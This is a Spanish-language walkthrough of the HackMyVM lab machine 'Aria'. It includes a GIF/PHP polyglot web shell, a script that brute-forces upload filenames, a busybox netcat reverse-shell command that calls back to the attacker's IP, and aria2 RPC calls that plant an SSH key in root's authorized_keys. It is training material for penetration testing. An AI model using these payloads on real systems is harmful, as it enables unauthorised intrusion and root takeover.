cd ~/blog

~/writeups/hmv/140-aria.md

140 - Aria

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Unrestricted File Upload mediante GIF/PHP PolyglotPredictable Upload FilenameZero-Width Space SteganographyArbitrary File Write mediante aria2 RPC
hackmyvm.eu/machines/machine.php?vm=Aria

~2 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ nmap -sCV -p 22,80,1337 -oN 02-targeted.txt 10.212.91.25
...
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Ultra-Secure Naming Service
1337/tcp open  waste?
|     --- Aria Debug Shell ---
...

Enumeramos directorios y encontramos upload.php y la carpeta uploads/ (403):

❯ gobuster dir -u 'http://10.212.91.25/' -w directory-list-2.3-medium.txt -x php,txt,html,jpg -r
upload.php           (Status: 200)
uploads              (Status: 403)

Acceso inicial mediante un polyglot GIF/PHP

upload.php acepta imágenes de hasta 1 MB y bloquea la cadena <?php, pero valida de forma insuficiente el contenido. Construimos un archivo polyglot: GIF89a satisface la comprobación esperada para una imagen y la etiqueta corta <?= introduce código que PHP todavía interpreta. Al guardarse en una ruta ejecutable, esta variante de Unrestricted File Upload RCE permite invocar comandos mediante cmd:

❯ cat pwned.gif
GIF89a;
<?= phpinfo();exec($_GET['cmd']); ?>

La aplicación no devuelve directamente la ruta final, pero genera el nombre como md5(timestamp + rand). El espacio de búsqueda queda limitado a los segundos cercanos a la carga y a mil valores posibles. El script reproduce cada combinación, calcula su MD5 y consulta /uploads/<md5>.gif; una respuesta distinta de 404 identifica un candidato existente:

#!/usr/bin/env python3
import hashlib, time, requests
for ts in range(int(time.time())-20, int(time.time())+1):
    for rand_num in range(1, 1001):
        md5_hash = hashlib.md5(f"{ts}{rand_num}".encode()).hexdigest()
        url = f"http://10.212.91.25/uploads/{md5_hash}.gif"
        if requests.head(url, timeout=2).status_code != 404:
            print("Found:", url)
❯ ./bruteforce.py
[+] Testing: Encontrado!
[*] Found: http://10.212.91.25/uploads/889c93cdc96f0986be7ecdd25b71b7b9.gif (ts=1759862997 rand=686 status=500)

Solicitamos el archivo encontrado y usamos ?cmd= para lanzar una reverse shell. La salida de id confirma ejecución como www-data:

http://10.212.91.25/uploads/....gif?cmd=busybox%20nc%2010.212.91.35%201234%20-e%20/bin/bash

❯ ncat -nlvp 1234
Ncat: Connection from 10.212.91.25:53646.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Recuperación del token de aria2

Después de obtener la primera flag en /home/aria, observamos bytes adicionales en user.txt. Corresponden a caracteres Zero-Width Space (ZWSP), invisibles en una lectura normal pero distinguibles con xxd:

www-data@Aria:/home/aria$ xxd user.txt
00000000: 666c 6167 7b75 7365 722d 6431 3361 6461  flag{user-d13ada
...
0000002a: ... e280 8be2  ............ (caracteres ZWSP)

Al decodificar la secuencia obtenemos el token utilizado por el RPC local de aria2:

token: maze-sec

Escalada mediante aria2 RPC

El servicio aria2 se ejecuta como root y expone su RPC únicamente en 127.0.0.1:6800. La sesión de www-data permite alcanzar ese socket local, mientras que el token recuperado satisface su autenticación:

www-data@Aria:/home/aria$ ss -tuln
...
tcp     LISTEN   0    128    127.0.0.1:6800    0.0.0.0:*
...

www-data@Aria:/home/aria$ ps aux | grep aria2c
root  344 ... /usr/bin/aria2c --conf-path=/root/.aria2/aria2.conf

Verificamos la autenticación consultando aria2.getVersion; sin el prefijo token:maze-sec, el servicio responde Unauthorized:

www-data@Aria:/home/aria$ curl -s http://127.0.0.1:6800/jsonrpc -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"aria2.getVersion","id":"Q1","params":["token:maze-sec"]}'
{"id":"Q1","jsonrpc":"2.0","result":{"version":"1.35.0"}}

En nuestra máquina generamos un par de claves SSH sin passphrase, copiamos la pública como authorized_keys y la servimos por HTTP:

❯ ssh-keygen -t rsa -f id_rsa_root -N ''
❯ cp id_rsa_root.pub ./authorized_keys
❯ sudo python -m http.server 80

aria2.addUri permite elegir tanto la URL de descarga como el directorio y el nombre del archivo de salida. Debido a que aria2 corre como root, esto se convierte en una Arbitrary File Write con sus privilegios. Indicamos /root/.ssh/authorized_keys como destino y luego usamos la clave privada correspondiente para entrar por SSH:

www-data@Aria:/home/aria$ curl -s http://127.0.0.1:6800/jsonrpc -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"aria2.addUri","id":"add","params": ["token:maze-sec",["http://10.212.91.35/authorized_keys"],{ "dir":"/root/.ssh/", "out":"authorized_keys" }]}'

❯ ssh root@10.212.91.25 -i id_rsa_root
root@Aria:~#

El prompt root@Aria confirma que la clave fue instalada para la cuenta root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados